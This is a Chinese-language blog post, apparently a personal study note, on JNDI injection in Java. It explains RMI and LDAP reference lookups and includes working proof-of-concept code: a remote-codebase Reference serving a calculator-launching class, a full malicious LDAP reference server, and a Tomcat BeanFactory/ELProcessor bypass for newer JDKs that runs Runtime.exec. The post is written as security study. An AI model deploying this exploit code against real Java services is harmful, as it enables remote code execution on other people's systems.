Java反序列化-JDNI

xekOnerR Sleep.. zzzZZzZ

https://goodapple.top/archives/696

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

https://www. bilibili.com/video/BV1P54y1Z7Lf/?spm_id_from=333.1387.homepage.video_card.click&vd_source=d51dbb41ef00391c5c021ee533eafd8e

JNDI 简介

JNDI, Java Naming and Directory Interface
即 Java 名称与目录接口
也就是一个名字对应一个接口

jndi 在 jdk 里面支持以下四种服务, 前三种都是字符串对应对象,DNS 是 IP 对应域名。

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • Java 远程方法调用(RMI) 注册表
  • DNS 服务

JNDI 接口主要分为下述 5 个包:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

JNDI 分析

通过代码来查看 JNDI 是如何实现与各服务进行交互的

JDNI_RMI

jdk 版本为 180u65

remoteObj 和 remoteObj 的实现类都还是和之前一样的

JNDIRMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package xekoner;  

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
// 1. 初始化默认上下文
InitialContext initialContext = new InitialContext();
// 2. 启动 RMI 注册表
Registry registry = LocateRegistry.createRegistry(1099);
// 3. JNDI 动态路由并绑定
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}

JNDIRMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package xekoner;  

import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
// 初始化上下文
InitialContext initialContext = new InitialContext();
// 通过 JNDI 动态协议查询
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

RMI 原生漏洞

这里虽然是通过 JNDI 调用的方法,但是实际上还是用的是 RMI 库里的原生的 lookup 方法

RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); 处下断点调试
JAVA/JNDI/attachments/Pasted image 20260303141324.png

一路跟进 lookup 方法,最后可以看到依然是调用的 RMI 的 lookup 方法
JAVA/JNDI/attachments/Pasted image 20260303141636.png

也就是说 RMI 中存在的漏洞,JNDI 这里也会有。

但这不是所谓的 JNDI 漏洞。

JNDI 漏洞

这个漏洞被称为 JNDI 注入漏洞
与所调用服务无关,不管是 RMI、DNS、LDAP 或者是其他的都会存在这个问题

原理是在服务端调用了个 Reference 对象,可以理解成类似于一个代理

我们把这一行代码:

1
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());

改为

1
2
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");  
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);

很像 URLClassLoader,远程加载类。
其中 Clac.java

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;  

public class Calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

build project 以后拿出 class 文件,python 起一个临时的 http server

1
python3 -m http.server 7777

Client 不需要改动正常执行代码
JAVA/JNDI/attachments/Pasted image 20260304121838.png

有报错是正常的因为找不到方法。

在 Client Lookup 方法处打一个断点进行调试
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");

走到 decode 处,跟进
JAVA/JNDI/attachments/Pasted image 20260304125614.png

这一步是获取到 reference
JAVA/JNDI/attachments/Pasted image 20260304125722.png

跟进 NamingManager.getObjectInstance

走进 getObjectFactoryFromReference 方法中,这里的加载器是 AppClassLoader,肯定是找不到本地的类的。
JAVA/JNDI/attachments/Pasted image 20260304131556.png

所以 clas 肯定是 null
JAVA/JNDI/attachments/Pasted image 20260304131626.png

然后就会走到 clas = helper.loadClass(factoryName, codebase);

直接通过 URL 去加载 class, URLClassLoader
JAVA/JNDI/attachments/Pasted image 20260304131721.png

最后在 newInstance() 这一步执行代码

JAVA/JNDI/attachments/Pasted image 20260304131742.png

然后攻击点的话,就是因为客户端进行了 lookup() 方法的调用。

这个漏洞在 jdk8u121 当中被修复,也就是 lookup() 方法只可以对本地进行 lookup() 方法的调用。

JNDI & LDAP

LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol)是一种用于访问和管理分布式目录服务信息的开放工业标准应用层协议。

LDAP 的 JNDI 漏洞

启动一个 LDAP 服务,导入对应的 pom 坐标:

1
2
3
4
5
6
<dependency>  
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>

LdapServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import java.net.InetAddress;  
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

/**
* LDAP server implementation returning JNDI references * * @author mbechler
*/public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {
int port = 1389;
String url = "http://127.0.0.1:7777/#winCalcPure";

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor(URL cb) {
this.codebase = cb;
}

/**
* {@inheritDoc}
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult
*/ @Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {

// 构造重定向显示的 URL URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

// 设置 LDAP 条目属性以触发 JNDI 远程类加载
e.addAttribute("javaClassName", "winCalcPure");

String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

LdapClient.java

1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;  
import javax.naming.NamingException;

public class LdapClient {
public static void main(String[] args) throws Exception {
// 初始化上下文
InitialContext initialContext = new InitialContext();
// 通过 JNDI 动态协议查询
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1389/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
JAVA/JNDI/attachments/Pasted image 20260304180450.png

这个攻击还是和之前说的 Reference

JDNI 绕过

jdk version 在 8u191之后的绕过方式
先看一下在8u191之后做了哪些修复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 旧版本JDK  
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}


// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

这里使用8u241

使用本地恶意 Class 作为 Reference Factory

简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法。

大佬找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。

Server 和 Client 导入坐标:

1
2
3
4
5
6
7
8
9
10
11
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.12</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.12</version>
</dependency>

Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.naming.ResourceRef;  
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;

public class JNDIBypassHighJavaServerRebind {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);

InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" ));

initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
}
}

Client

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;  
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/remoteObj";
Context context = new InitialContext();
context.lookup(uri);
}
}
JAVA/JNDI/attachments/Pasted image 20260305145711.png

调试一下代码,分析过程:

还是进入到 return this.decodeObject(var2, var1.getPrefix(1)); ,decodeObject 中

image.png

此时的 Ref 是 EL 表达式

因为是从本地加载可以获取,所以肯定是有 clas 的
image-1.png

最后返回出去
强转成 ObjectFactory, 我们传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点
image-2.png

后续进入到 getinstance 方法中,进行一系列判断后会 invoke

  • Title: Java反序列化-JDNI
  • Author: xekOnerR
  • Created at : 2026-03-05 15:28:53
  • Updated at : 2026-03-05 15:29:46
  • Link: https://xekoner.xyz/2026/03/05/Java反序列化-JDNI/
  • License: This work is licensed under CC BY-NC-SA 4.0.